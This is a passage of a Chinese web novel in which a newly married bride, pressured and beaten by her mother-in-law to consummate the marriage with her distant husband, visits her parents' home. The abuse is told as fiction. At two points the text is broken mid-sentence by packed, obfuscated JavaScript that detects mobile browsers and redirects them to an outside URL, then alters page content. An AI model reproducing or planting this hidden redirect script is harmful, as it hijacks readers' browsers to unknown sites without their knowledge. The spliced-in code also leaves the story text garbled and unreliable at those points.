李傲雪强忍着泪水,努力让自己镇定下来。她深知此刻慌乱无济于事,必须想出一个办法来应对今晚的局面。她在书房里来回踱步,绞尽脑汁思索着对策。 突然,她想起肖母提到过肖晨喜好诗词歌赋,或许可以从这方面入手。她急忙重新翻开那本肖晨常看的诗词集,仔细研读起来,试图寻找灵感。她一边读,一边在脑海中构思着与肖晨交流诗词时的场景,希望能借此打开肖晨的心门,缓和两人之间的关系,进而完成肖母交代的任务。 不知不觉,天色已经完全暗了下来。李傲雪深知不能再拖延,她怀着忐忑的心情,起身回到自己的房间,精心打扮了一番。她挑选了一件淡雅的粉色罗裙,略施粉黛,让自己看起来温婉动人。随后,她吩咐丫鬟准备了一些肖晨平日里爱吃的点心,又煮了一壶香茗,带着这些来到了肖晨的书房。 此时,肖晨刚从悦音阁回来,正坐在书房里看书。听到敲门声,他头也不抬地说道:“进来。”李傲雪推开门,轻手轻脚地走了进去,将点心和香茗放在桌上,轻声说道:“少爷,您回来了。我给您准备了些点心和茶。” 肖晨抬起头,看到是李傲雪,微微一愣,说道:“你怎么来了?”李傲雪深吸一口气,鼓起勇气说道:“少爷,我……我想和您探讨一下诗词。今天在书房看了您常读的那本诗词集,有许多感悟,想与您分享。” 肖晨听了,眼中闪过一丝诧异,但很快恢复平静,说道:“哦?你对诗词也有兴趣?”李傲雪赶忙点头,说道:“是的,少爷。我一直喜爱诗词,只是平日里没有机会与他人探讨。今日读了您的书,觉得其中见解独到,很想听听您的看法。” 肖晨放下手中的书,示意李傲雪坐下,说道:“那你说说,对哪首诗词感悟颇深?”李傲雪心中一喜,赶忙说道:“就说那首《临江仙·夜饮东坡醒复醉》吧,儿媳觉得苏轼以简洁的笔墨,勾勒出一幅洒脱的夜归图,‘小舟从此逝,江海寄余生’这句,更道出了一种对自由生活的向往。不知少爷对此有何见解?” 肖晨听了,微微点头,说道:“你倒是有些见解。苏轼一生坎坷,这句词确实流露出他对尘世的厌倦和对自由的渴望。不过,我觉得其中也蕴含着他无法真正超脱的无奈。” 两人你一言我一语,围绕着诗词展开了热烈的讨论。渐渐地,肖晨的态度不再像之前那般冷淡,李傲雪也逐渐放松下来。然而,随着时间的推移,李傲雪心中的压力却越来越大,毕竟她今晚还有更重要的任务,不知该如何开口。 肖晨看时间不早了说着,眼神中透着一丝坚决:“今天我已经告诉母亲了,今天我就不回去睡了,你没事就离开吧。” 李傲雪听闻,犹如被一盆冷水当头浇下,满心的希望瞬间破碎。她呆呆地看着肖晨,嘴唇颤抖,想要说些什么,却一时语塞。 过了好一会儿,李傲雪才回过神来,眼中泪光闪烁,带着一丝哀求道:“少爷,是我哪里做得不好,惹您生气了吗?您为何不愿回房休息?” 肖晨微微皱眉,避开李傲雪的目光,说道:“与你无关,我只是想独自静一静。你不必多问,早些回去吧。” 李傲雪心中明白,肖晨心意已决,再强求也无济于事。但一想到肖母那严厉的命令和威胁,她心中一阵绝望。然而,她还是不想放弃,鼓起最后一丝勇气说道:“少爷,我知道您或许觉得儿媳唐突,可儿媳只是真心想与您增进了解。您看,今晚咱们谈论诗词,不也颇为愉快吗?” 肖晨沉默不语,他确实在方才的诗词交流中,感受到李傲雪并非毫无才情,可他内心的障碍依旧难以逾越。许久,他缓缓说道:“傲雪,今晚与你谈论诗词,我的确觉得畅快。但这并不代表我已做好与你同床共枕的准备。感情之事,强求不得,你莫要再为难我,也莫要为难自己。” 李傲雪听着肖晨这番话,心中五味杂陈。她知道,今晚怕是无法完成肖母交代的任务了。可明日等待自己的,又将是什么呢?她不敢想象。无奈之下,她只能起身,向肖晨福了福身,声音哽咽地说道:“那……那好吧,少爷。我告退,您也早些休息。” 说罢,李傲雪拖着沉重的步伐,缓缓走出书房。此时,外面夜色深沉,冷风袭来,她不禁打了个寒颤。抬头望向夜空,繁星点点,可她却觉得自己的未来一片黑暗,不知该何去何从。 李傲雪回到房间,满心的忧虑如影随形,躺在床上辗转反侧,一夜未眠。第二日清晨,伺候的丫鬟进来伺候洗漱,见床铺丝毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993166|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未乱,心中便明白了几分,赶忙跑去告知了肖母。 肖母听闻后,脸色瞬间阴沉下来。她匆匆来到肖父的书房,将此事告知肖父,而后说道:“老爷,你带儿子今天去买礼品,明日让他陪傲雪回门。最好晚一些回来,我就不信,这一路上,他俩还培养不出感情。” 肖父放下手中的书,无奈地叹了口气,说道:“夫人,感情之事怎能如此强求?晨儿和傲雪刚成婚不久,还是让他们顺其自然吧。” 肖母却不依不饶,说道:“老爷,你不懂。这肖家的香火传承可不能耽搁。晨儿这孩子,也不知道在想些什么,成亲这么久了,还不与傲雪圆房。我这也是没办法,才出此下策。” 肖父见肖母态度坚决,知道再劝也无用,只得点头说道:“好吧好吧,我今天就带晨儿去买礼品。但成不成,可就看他们自己的造化了。” 肖母这才稍稍满意,说道:“老爷,你可得多劝劝晨儿,让他明白自己的责任。” 肖父应了一声,随后便差人去叫肖晨。不多时,肖晨来到书房,问道:“爹,您找我何事?” 肖父将肖母的意思告诉了肖晨,说道:“晨儿,明日你便陪傲雪回门。今日随我去购置些礼品,莫要失了礼数。” 肖晨心中虽有些不情愿,但也不好违抗父亲的命令,只得点头说道:“是,爹。” 随后,肖父和肖晨便出门去购置礼品。一路上,肖父看着心事重重的肖晨,忍不住劝说道:“晨儿,傲雪这孩子知书达理,模样也俊俏,你就别再执拗了。夫妻之间,还是要相互扶持,好好过日子。” 肖晨微微皱眉,说道:“爹,我知道您和娘都是为我好。只是,感情之事,我实在勉强不来。” 肖父拍了拍肖晨的肩膀,说道:“晨儿,感情是可以慢慢培养的。你多和傲雪相处,说不定会发现她的好。” 肖晨沉默不语,心中却在思索着该如何面对明日的回门之行,以及与李傲雪愈发复杂的关系。 肖母看着肖父和肖晨出门远去,脸上满是不悦与决绝。她一挥手,冷冷吩咐身旁的下人:“去,把少夫人给我带过来。” 不多时,李傲雪被几个丫鬟连拉带拽地来到肖母面前。她一脸惊恐,不知发生何事,赶忙屈膝行礼:“娘,您这是……” 肖母坐在主位上,双眼怒视着李傲雪,猛地一拍桌子,震得茶杯都哐当作响:“你还敢问!昨晚到底怎么回事?为何没能与晨儿同房?” 李傲雪心中一紧,“扑通”一声跪下,泪水瞬间涌出:“娘,儿媳真的尽力了,可少爷他……他心意已决,不愿回房。儿媳实在没有办法呀。” 肖母冷哼一声,满脸的不屑与愤怒:“哼,还敢狡辩!分明是你办事不力。咱们肖家的规矩,容不得你这般懈怠。来人,家法伺候!” 话音刚落,两个粗壮的婆子走上前来,手中拿着竹板。李傲雪吓得浑身发抖,连连磕头哀求:“娘,求您饶了儿媳这一次,儿媳以后一定加倍努力,求您别用家法。” 肖母却丝毫没有心软,大声喝道:“打!给我重重地打,让她长长记性!”婆子们不敢迟疑,举起竹板,一下又一下地打在李傲雪的身上。李傲雪疼得脸色苍白,冷汗直冒,却只能咬着牙强忍着,嘴里不断求饶。 竹板声和李傲雪的哭声交织在房间里,肖母看着这一幕,脸上没有丝毫怜悯,心中只想着一定要让李傲雪明白,必须尽快完成与肖晨圆房这件事,否则在肖家,她的日子绝不会好过。 李傲雪在竹板的击打之下,疼得几近昏厥,后背早已血肉模糊,衣衫也被血水浸湿,紧紧贴在身上。她虚弱地瘫倒在地,连求饶的力气都所剩无几。 肖母见差不多了,这才冷冷开口:“停。”随后吩咐道:“去拿药来给她上,处理干净些。” 下人赶忙取来伤药,小心翼翼地给李傲雪处理伤口。每触碰一下,李傲雪便疼得身子一颤,忍不住发出微弱的呻吟。 肖母看着这场景,语气冰冷地说:“我给你这点体面,此时可不能让我儿子知道。你最好心里有数,明日回门,想办法让晨儿对你上心,尽快圆房。若还是办不成,下次可就没这么简单了。” 李傲雪虚弱地点点头,声音微弱得如同蚊蝇:“娘……儿媳明白……”泪水混着汗水,顺着脸颊滑落,滴在满是血迹的地面上。她满心悲戚与恐惧,不知明日回门,等待自己的又将是什么样的艰难处境,更不知该如何跨越肖晨心中那道无形的屏障。 肖晨跟着肖父在城中各大店铺穿梭,看着一件件精美绝伦的丝绸被挑选出来,那些细腻的纹理、绚丽的色彩,无一不让人惊叹。随后又购置了不少年代久远、工艺精湛的古董,每一件都散发着独特的历史韵味。至于补品,也是挑选了人参、鹿茸等珍贵之物,堆起来好似小山一般。 肖晨这一路可谓大开眼界,心中暗自思忖:“这些东西,要是拿回现代,估计变卖之后真够吃一辈子了。在现代,这般品质上乘的丝绸、珍稀的古董和顶级的补品,那可都是价值连城。” 肖父见肖晨看得目不转睛,以为他上心此事,满意地点点头:“晨儿,这些礼品可都是精心挑选的,回门可不能失了礼数,让傲雪娘家人挑出毛病。” 肖晨回过神来,赶忙应道:“爹说得是,如此丰厚的礼品,定能让傲雪家感受到咱们肖家的诚意。”然而,他心里却又忍不住发愁,不知明日回门面对李傲雪,又会是怎样一番情形。毕竟昨晚的事,让他自觉对李傲雪有些愧疚,可又实在不知该如何改变现状。 肖晨和肖父在城中一家颇有名气的酒楼用过午饭,又悠然地喝了会儿茶,稍作休憩后,便吩咐下人先将购置的那一大堆丝绸、古董和补品运回府中。 此时,肖晨主动开口,向肖父询问起回门的一些细节:“爹,明日回门,除了送上这些礼品,还有什么特别要注意的地方吗?” 肖父微微一愣,随即露出欣慰的笑容,他放下手中的茶杯,认真说道:“晨儿,回门是大事,到了傲雪娘家,要谦逊有礼,不可摆架子。见到长辈,需恭敬请安,言行举止都要彰显咱们肖家的教养。” 肖晨点点头,示意自己在认真聆听。肖父接着说:“再者,回门当日,你要多陪傲雪与她家人叙旧,不可自顾自地冷落了旁人。还有,饮酒要适度,切不可贪杯误事。” 肖晨一边听,一边在心中默默记着。肖父看他如此认真,又补充道:“虽说回门主要是礼节性的走动,但也是你和傲雪增进感情的好机会。你呀,要好好把握,莫要再像之前那般冷淡。” 肖晨听到此处,心中泛起一丝无奈,但还是应道:“爹,我知道了。”他明白父亲话中的深意,只是想到与李傲雪之间的隔阂,又有些发愁。不过,为了不让父亲担忧,也为了遵循礼数,他决定明日回门时,尽量表现得得体周全。 6. 心疼女儿的李母 肖父带着肖晨,踏上了对自家产业的巡视之路。他们首先来到了繁华街市中的店铺。只见一间间店铺鳞次栉比,招牌醒目,来往顾客络绎不绝。绸缎庄内,五颜六色的绸缎在阳光下闪烁着光泽,伙计们热情地招呼着客人;米铺里,堆积如山的谷物散发着质朴的香气,店员正熟练地给顾客称米。肖父边走边介绍:“这些店铺,都是咱们家多年的心血,每一家都承载着肖家的信誉。” 接着,他们来到钱庄。踏入钱庄,一股庄严肃穆的气息扑面而来。厚实的大门,严密的安保,账房先生们正忙碌地核算着账目。肖父拍了拍肖晨的肩膀说:“钱庄乃是家族财富流转的枢纽,信誉和管理至关重要。” 随后,他们又去查看了房产。一处处宅院错落有致,有的古朴典雅,有的宏伟气派。肖父说道:“这些房产,或用于出租,或作为家族产业的根基,都有着不可忽视的价值。” 最后,肖父领着肖晨来到广袤的良田边。极目远眺,千亩良田麦浪滚滚,一片生机勃勃。肖父语重心长地说:“土地是根本,这些良田每年产出的粮食,不仅是家族财富的重要来源,更是咱们立足的根本。” 说完这一切,肖父凝视着肖晨,目光中满是期许:“晨儿,这些产业,将来都要交给你打理。你要用心经营,让肖家的基业蒸蒸日上,可不能有丝毫懈怠。” 肖晨看着眼前庞大的家业,心中既震撼又深感责任重大,他郑重地点点头:“爹,您放心,儿子定会全力以赴,不负您的期望。”然而,在这份决心之下,他也深知前方道路布满挑战,尤其是在自己尚未完全准备好接手这一切之时,内心难免泛起一丝忧虑。 父子俩漫步在街上,肖晨突然面露期待,开口道:“爹,我又不想这么早回去。我想去玩玩。”肖父看着儿子,无奈地笑了笑,叮嘱道:“可不能太久,记得回来吃晚饭。” 这时,阿成赶忙凑上前,恭敬问道:“少爷,我们去哪?”肖晨思索片刻,看向阿成:“这城中有什么地方好玩?” 阿成眼睛一亮,兴致勃勃地介绍起来:“少爷,要说好玩的地儿,那清风楼可不错,那儿有不少文人雅士吟诗作对,热闹得很。还有集贤馆,能听评书、看杂耍,定能让您开怀。要是您想逛逛自然风光,城外的翠屏山景色宜人,漫山花草,清泉潺潺。” 肖晨略加思索,觉得听评书看杂耍倒也有趣,便说道:“那就去集贤馆吧。”阿成点头称是,在前头带路,两人朝着集贤馆的方向走去。一路上,街边小贩的叫卖声此起彼伏,行人来来往往,热闹非凡。 不多时,肖晨和阿成便来到了集贤馆。馆内早已是人声鼎沸,座无虚席。肖晨刚踏入,便感受到一股热闹欢快的氛围扑面而来。 阿成眼疾手快,迅速在角落里寻到两个空位,拉着肖晨坐下。台上,一位身着长衫的说书先生正口若悬河地讲述着一段精彩的侠义故事,绘声绘色的描述引得台下观众时而哄堂大笑,时而紧张屏息。肖晨也被深深吸引,听得津津有味,暂时忘却了家中的种种琐事。 说书结束后,紧接着是杂耍表演。只见一位艺人手持长鞭,鞭梢精准地击中远处桌上摆放的细瓷碗,而碗却分毫未损,引得众人齐声喝彩。随后又有艺人表演顶缸,那巨大的水缸在他头顶旋转自如,令人惊叹不已。 肖晨看得目不暇接,不时跟着周围人一起鼓掌叫好。就在他沉浸在这欢乐氛围中时,不经意间瞥见不远处有个熟悉的身影。仔细一看,竟是李傲雪的贴身丫鬟。他心中一惊,暗自思忖:她怎么会在这里?难道李傲雪也来了? 正疑惑间,那丫鬟似乎也察觉到了肖晨的目光,转过头来,与肖晨对视后,略显惊慌,赶忙转身匆匆离去。肖晨心中顿时充满了疑问,也无心再看表演,起身对阿成说道:“阿成,咱们跟上那个丫鬟,看看究竟怎么回事。”阿成虽有些诧异,但还是立刻跟了上去。 两人出了集贤馆,一路跟着丫鬟,只见她脚步匆匆,拐进了一条偏僻的小巷。肖晨和阿成加快脚步,跟到巷口时,却发现丫鬟已不见了踪影。 肖晨和阿成在小巷里四处寻找,却始终不见丫鬟的身影。肖晨满心狐疑,可无奈之下,没了游玩的心思,只能带着阿成怏怏地回了家。 此时,李傲雪正俯身趴在床上,身上的伤痛加上心中的委屈,让她疲惫不堪,不知不觉睡了过去。肖晨一回府,便差人去叫李傲雪的贴身丫鬟。 丫鬟匆匆赶来,神色有些慌张。肖晨盯着她,冷冷问道:“你今日在集贤馆做什么?为何见了我就跑?”丫鬟心中一紧,眼珠一转,急忙撒谎道:“少爷,是少夫人放心不下您,让奴婢去瞧瞧您去了哪里,好回来告诉她,让她安心。奴婢见您正看得入神,便没敢打扰,想着悄悄离开,回去给少夫人复命呢。” 肖晨听了,心中却并不相信这番说辞,反而对李傲雪越发不悦,觉得她不该如此暗中窥探自己行踪。他冷哼一声,什么也没说,转身便往书房走去,决定索性住在书房,眼不见心不烦。 待看到儿子的身影消失在拐角处,肖母才从内室缓缓走了出来。她看着丫鬟,脸色阴沉地问道:“怎么样?方才少爷问你什么了?你怎么回答的?”丫鬟赶忙将方才对肖晨说的话又复述了一遍。肖母听后,微微皱眉,思索片刻后说道:“罢了,你先下去吧,以后做事机灵点,别露出马脚,坏了我的计划。”丫鬟连忙应是,小心翼翼地退了下去。 肖母望着肖晨离去的方向,心中暗自担忧。她深知儿子对李傲雪的态度冷淡,如此下去,想要两人早日圆房、延续肖家香火怕是愈发困难。可她又实在想不出更好的办法,只能在心中默默祈祷,希望明日回门之行,能让两人的关系有所转机。 第二天清晨,晨曦透过窗户纸,洒在肖家的庭院中。肖母早早起身,径直来到肖晨的住处,催促道:“晨儿,去看看回门的礼品都准备好了没,可千万别落下什么,别到时候让傲雪娘家挑出毛病。” 肖晨应了一声,便出门去查看礼品。趁着这个间隙,肖母快步来到李傲雪的房间。李傲雪刚起身,正在丫鬟的伺候下梳妆。 肖母走进房内,随手关上门,从袖中掏出一个小瓷瓶,递给李傲雪,低声说道:“把这药喝了,喝了伤口才好得快。记住,千万别让我儿子察觉到。今天回门,你自己心里得有数,知道该怎么做。要是再办砸了,就别怪我不客气。” 李傲雪心中一阵恐惧,看着那小瓷瓶,手微微颤抖。她深知肖母的手段,不敢违抗,只得接过瓷瓶,将药一饮而尽。药味苦涩,顺着喉咙流下,却仿佛苦到了心底。 她强忍着泪水,低声说道:“娘,儿媳明白。儿媳一定不会让您失望。”肖母看着她,神色稍缓,说道:“你明白就好。这也是为了你和晨儿好,为了肖家的将来。”说罢,转身离开了房间。 李傲雪望着肖母离去的背影,心中五味杂陈。她知道,今日回门,对自己来说是一场艰难的考验。不知等待自己的会是什么,只能暗暗祈祷,希望一切能顺利度过,也盼望着肖晨对自己的态度能有所改变。 肖晨仔细检查了一遍回门礼品,确认无一遗漏,一切都安排妥当。这时,李傲雪从房中走出,她刻意精心打扮了一番,身着一袭淡粉色的锦袍,头戴珠翠,显得端庄秀丽,只是脸色略显苍白,透着几分憔悴。 一家人围坐在桌前吃早饭,气氛有些沉闷。肖母不时看向肖晨和李傲雪,眼神中带着期许与督促。李傲雪安静地吃着饭,偶尔偷偷抬眼看向肖晨,却只见他面色冷淡,只顾低头吃饭,似乎刻意回避与她的眼神交汇。 饭后,众人准备出发。肖晨为了避免与李傲雪过多接触,径直走向马厩,牵出自己的骏马,翻身骑上。他转头对李傲雪说道:“你坐轿子吧。” 李傲雪心中一阵失落,但也只能默默点头,在丫鬟的搀扶下,登上了早已备好的轿子。 队伍缓缓出发,肖晨骑着马走在前方,身姿挺拔,马蹄扬起些许尘土。轿子跟在后面,随着道路的起伏微微晃动。李傲雪坐在轿内,透过轿帘的缝隙看着前方肖晨的背影,心中满是无奈与惆怅。 不多时,一行人便抵达李府门口。肖晨利落翻身下马,轿夫稳稳地将轿子落地。李傲雪在丫鬟搀扶下,缓慢地走出轿子,因后背伤痛,每一步都显得艰难,确实需要人扶着。 李府二老听闻下人通报女儿回门,喜出望外,急忙出门迎接。李母见女儿这般模样,心中虽有疑惑,但只当是新婚不久,女儿还不太习惯,并未多想,满脸笑意地迎上前去,拉住李傲雪的手,关切道:“我的儿,一路上累坏了吧。” 李傲雪强颜欢笑,轻声说道:“娘,女儿不累。”这时,肖晨走上前来,恭敬地向李父李母行礼:“岳父、岳母,小婿有礼了。”李父笑着扶起肖晨,说道:“贤婿不必多礼,快请进府。” 众人一同走进李府。一路上,李母紧紧拉着李傲雪的手,嘘寒问暖。李傲雪心里既感动又难过,感动于母亲的关怀,难过自己在肖家的遭遇不能言说。而肖晨则不动声色地观察着李府的布局,尽量表现得礼貌得体。 进入正厅,肖晨指挥下人将带来的丝绸、古董、补品等礼品一一摆开。李父李母看着如此丰厚的礼品,不禁赞叹肖家的诚意。大家分宾主落座后,丫鬟们端上茶水点心,一场回门的寒暄就此展开,只是李傲雪因伤痛,只能强撑着应对。 李父一脸关切地看向肖晨,目光中满是对女儿婚后生活的担忧,开口问道:“贤婿啊,我这女儿在你那儿,你可还满意?” 肖晨微微欠身,脸上带着恰到好处的微笑,言辞诚恳地说道:“岳父大人放心,傲雪很好。我们平日里相处得也颇为融洽。多亏岳父母教养有方,把这么好的女儿嫁给我,让我能有幸与她结为连理。” 李父听了,脸上露出欣慰的笑容,点头说道:“如此便好,如此便好啊。傲雪自小被我们娇惯着长大,若有什么做得不好的地方,还望贤婿多担待。” 肖晨赶忙说道:“岳父言重了,傲雪知书达理,温柔贤淑,把家中事务打理得井井有条,对我更是关怀备至。倒是我,有时忙于事务,可能对她有所疏忽。” 一旁的李傲雪听着肖晨这番话,心中五味杂陈。她知道肖晨不过是在父母面前维持表面的和谐,可即便如此,心中还是涌起一丝复杂的情绪。一方面感激肖晨没有在父母面前说出两人关系冷淡的实情,另一方面又为这份虚假的和睦感到悲哀。 李母看着女儿女婿这般“和谐”的场景,心中欢喜不已,笑着说道:“你们夫妻二人能相互体谅,那是再好不过了。如今成婚了,就该和和美美地过日子,早日给我们添个外孙。”说罢,眼神满含期待地看向李傲雪和肖晨。 李傲雪脸上泛起一抹红晕,羞涩地低下头,肖晨则笑着应道:“岳母放心,小婿明白。”然而,在这看似融洽的氛围之下,肖晨和李傲雪各自怀揣着心事,不知未来的日子究竟会走向何方。 李父笑着对李母说道:“这傲雪回来了,夫人你就陪女儿到房间里说说话,我们爷俩在这儿谈谈。”李母点头称是,便拉着李傲雪的手,往房间走去。 一进房间,李母轻轻拉过女儿,让她坐在床边,看着女儿苍白的脸色,心疼不已,关切地问道:“你这是怎么了,脸色这般苍白?是不是哪里不舒服?” 李傲雪心中一酸,差点落下泪来,但想到肖母的警告,还是强忍着摇了摇头,说道:“娘,我没事,可能就是一路上有些劳累,休息休息就好了。” 李母显然不太相信,伸手摸了摸李傲雪的额头,又仔细端详她的面容,说道:“你别瞒娘,是不是在肖家受委屈了?告诉娘,娘给你做主。” 李傲雪眼眶泛红,心中纠结万分。她很想把在肖家遭受的一切,包括肖母的逼迫、被执行家法的痛苦,都倾诉给母亲听,可又害怕说出来会给父母添麻烦,更担心肖母知道后变本加厉。犹豫再三,她还是挤出一丝笑容,说道:“娘,真的没事,您别瞎想。肖家上下对我都很好,肖晨对我也不错。” 李母看着女儿,眼中满是狐疑,但见女儿如此坚持,也不好再多追问,只得说道:“你要是有什么难处,千万别自己憋着,一定要告诉娘。娘就你这么一个女儿,心疼还来不及呢。” 李傲雪再也忍不住,扑进母亲怀里,泪水夺眶而出,却不敢发出声音,只是无声地抽泣着。李母轻轻拍着她的背,安慰道:“好了好了,不哭了。要是累了,就躺会儿,娘在这儿陪着你。” 李傲雪被母亲轻轻拍着背,因后背伤口未愈,忍不住发出一声痛苦的闷哼。李母顿时觉得不对劲,心中一紧,急忙轻轻拉开女儿的衣服查看。这一看,她倒吸一口凉气,只见女儿后背布满伤痕,有的地方虽已上药,但仍能看出伤得极重,血肉模糊的痕迹触目惊心。 李母眼眶瞬间红了,声音颤抖地问:“这是怎么回事?谁下的这般狠手?”李傲雪知道再也瞒不住,泪水决堤,将在肖家所遭受的一切,包括肖母如何逼迫她与肖晨圆房,因未达成便动用家法的事,一五一十地说了出来。 李母听完,心疼得心如刀绞,忍不住落下泪来。可她虽是满心愤怒与心疼女儿,却也只能无奈地长叹一口气,说道:“儿啊,这都是咱们做女人的命。虽说这世道对女子不公,男人即便做得不好,做错了事,最后也往往得由我们女人担着。在婆家,你还是要多忍耐些,莫要与长辈起冲突,把日子过好才是最重要的。” 李傲雪满心悲戚,她不明白为何女子就要承受这般不公,可母亲的话又让她无从反驳。她哭着说道:“娘,难道女儿就只能这样一直忍下去吗?”李母紧紧抱住女儿,说道:“娘也心疼你,可又能有什么办法呢?你若不忍,只会让自己更难过。你且试着与晨儿好好相处,说不定日子久了,他能对你上心,肖家也会对你好些。” 李傲雪靠在母亲怀里,心中一片茫然。她深知母亲的无奈,也明白自己在这封建礼教的束缚下,似乎别无选择。未来的日子,仿佛是一片看不到尽头的黑暗,而她只能在这片黑暗中,摸索着艰难前行。 李母轻轻捧着女儿的脸,满眼疼惜却又带着几分无奈与严肃,继续说道:“儿啊,你自小研习三纲五常,应当知晓女子在这世上的本分。娘虽说心疼你遭此苦难,可这世道就是如此。你若伺候不好丈夫,引得公婆不满意,旁人定会指指点点,说我们没把女儿教好。到那时,咱们一家人都难做人呐。” 李傲雪泪流满面,满心委屈却又无力反驳。她明白母亲所言皆是现实,在这礼教森严的社会,女子的命运似乎从出生便已被框定。 李母看着女儿痛苦的模样,自己也忍不住哽咽起来,但还是强打起精神安慰道:“娘知道你苦,可你再忍忍。平日里,多对晨儿体贴些,顺着他的心意。只要能让他回心转意,和你好好过日子,肖家公婆自然也会对你改观。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993167|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李傲雪缓缓点头,心中却似被一块巨石压着,喘不过气来。她想起自己在肖家小心翼翼,却仍换来这般遭遇,未来的路实在迷茫。但为了不让父母为难,为了那所谓的家族颜面,她只能选择继续隐忍,默默承受这一切。 李母轻轻为女儿拭去泪水,说道:“别哭了,眼睛哭肿了不好看。回门是喜事,别让你爹看出端倪,徒增他的烦恼。”李傲雪努力平复情绪,深吸一口气,试图将满心的悲戚与无奈暂时咽下,可心中的苦涩却愈发浓烈。 李傲雪强忍着泪水,目光中透着一丝决然,对母亲说道:“娘,我会做好的。我一定想尽办法让公婆满意,把丈夫伺候好,绝对不会让您跟爹因为我而在人前为难。” 李母听着女儿这番话,心中既欣慰又心酸。欣慰女儿的懂事与坚强,心酸她小小年纪便要承受这般压力。她紧紧握住女儿的手,说道:“儿啊,你能这么想,娘很欣慰。只是若实在撑不下去,千万莫要硬抗,记得还有娘和爹在你身后。” 李傲雪微微点头,心中涌起一股暖流。尽管前路艰难,但母亲的支持与理解,让她有了继续坚持下去的勇气。 母女俩又说了些贴心话,李傲雪努力调整好情绪,收拾好心情准备回到前厅。她深知,自己在肖家的日子或许依旧坎坷,但为了父母,为了所谓的家族颜面,她必须鼓起勇气,去面对未来的一切未知与挑战,哪怕这一路荆棘丛生。 母女俩手挽手来到前厅,李母脸上挂着温和的笑容,看向肖晨说道:“贤婿啊,你们小夫妻难得回来,在一起多说说话才是要紧事。我和你岳父就不打扰你们啦。” 说完,她又转头看向李傲雪,叮嘱道:“傲雪,你带晨儿到你以前的房间去看看,好好陪陪他。” 李傲雪微微颔首,轻声应道:“娘,我知道了。”随后,她抬眸看向肖晨,眼中带着一丝拘谨与试探,说道:“少爷,你……要不要随我去看看?” 肖晨礼貌性地点点头,应道:“好。”两人一前一后,朝着李傲雪的闺房走去。一路上,气氛有些沉闷,李傲雪满心忐忑,不知该与肖晨说些什么。肖晨则神色平静,只是偶尔打量着周围的布置,似乎在刻意保持着一种恰到好处的距离。 来到房门前,李傲雪轻轻推开门,率先走了进去。房间里的布置依旧如她离开时那般,温馨而雅致,只是多了一层淡淡的灰尘,像是在诉说着主人离开后的寂寞。肖晨跟在她身后踏入房间,目光随意地扫过屋内的陈设,一幅字画、一张绣榻,都似乎在展示着李傲雪曾经的生活点滴。 李傲雪有些局促地站在一旁,绞着手指,半晌才开口说道:“这就是我以前住的地方,没怎么变。”肖晨微微点头,回应道:“看得出来,布置得很用心。” 李傲雪微微垂首,声音轻柔,带着几分小心翼翼:“少爷,我生性喜好简单,所以这房间布置并未过于奢华,还请你不要嫌弃。”她偷偷抬眸,看向肖晨,眼神中满是不安与期许。 肖晨神色淡淡,目光在房间里随意流转,语气平淡地回应:“我又不在这里住。这是你的房间,我自是管不到的。”话一出口,空气中似乎弥漫开一丝尴尬的气息。 李傲雪心中一涩,本就低落的情绪愈发沉重。她强颜欢笑,试图缓和这冰冷的氛围,说道:“少爷说得是,只是想着你难得来,怕招待不周。”说着,她走到窗前,轻轻推开窗户,让阳光透进来,试图驱散房间里那股压抑的沉闷。 肖晨察觉到自己言语似乎过于冷淡,微微皱眉,心中有些许愧疚,但长久以来的疏离让他不知如何弥补。他清了清嗓子,说道:“房间挺好的,简洁干净,倒也舒心。”听到这话,李傲雪眼中闪过一丝惊喜,忙说道:“少爷喜欢便好。” 两人一时陷入沉默,只听得窗外偶尔传来几声鸟鸣。李傲雪绞着衣角,鼓足勇气打破寂静:“少爷,这房里的许多物件,都承载着我儿时的回忆。像这绣品,是我亲手所绣,虽针法稚嫩,却也花费了不少心思。”说着,她拿起一幅绣着花鸟的手帕,递到肖晨面前。 肖晨接过手帕,看着那细密的针脚,心中泛起一丝异样。他想起成亲以来,对李傲雪确实太过冷漠,可长久养成的态度,一时难以改变。他轻轻放下手帕,说道:“看得出你心灵手巧。” 李傲雪见肖晨有了回应,眼中燃起一丝希望,继续说道:“少爷,以后咱们在肖家,也不知能否……”话未说完,她又咽了回去,脸颊微红,不知是因羞涩还是紧张。 肖晨自然明白她未出口的话,心中有些纠结。一方面,他习惯了独来独往,对夫妻相处之事有些抗拒;另一方面,李傲雪这般小心翼翼的模样,又让他心生不忍。他斟酌着字句说道:“以后的事,且走着瞧吧。在肖家,你若有难处,可与我讲。” 李傲雪听闻此言,眼中泪光闪烁,轻轻点头:“多谢少爷体谅。我定会恪守本分,不让少爷为难。” 这时,门外传来丫鬟的声音:“小姐,姑爷,老爷夫人请二位去花园赏花,说是新添了不少品种。” 肖晨如释重负,说道:“既如此,我们便去吧。”李傲雪应了一声,与肖晨一同走出房间。去往花园的路上,两人虽依旧保持着距离,但氛围却较之前缓和了些许。 来到花园,李父李母正站在一丛盛开的牡丹前交谈。见他们二人来了,李母笑着招手:“快来快来,看看这牡丹,开得多艳。” 众人漫步在花园小径,欣赏着各类花卉。李父与肖晨谈论起一些花的品种和栽培之道,李傲雪与母亲跟在身后。李母悄悄捏了捏女儿的手,低声问道:“和晨儿聊得如何?”李傲雪微微点头,轻声说:“娘,比之前好多了。”李母欣慰地笑了,说道:“那就好,慢慢来,日子还长着呢。” 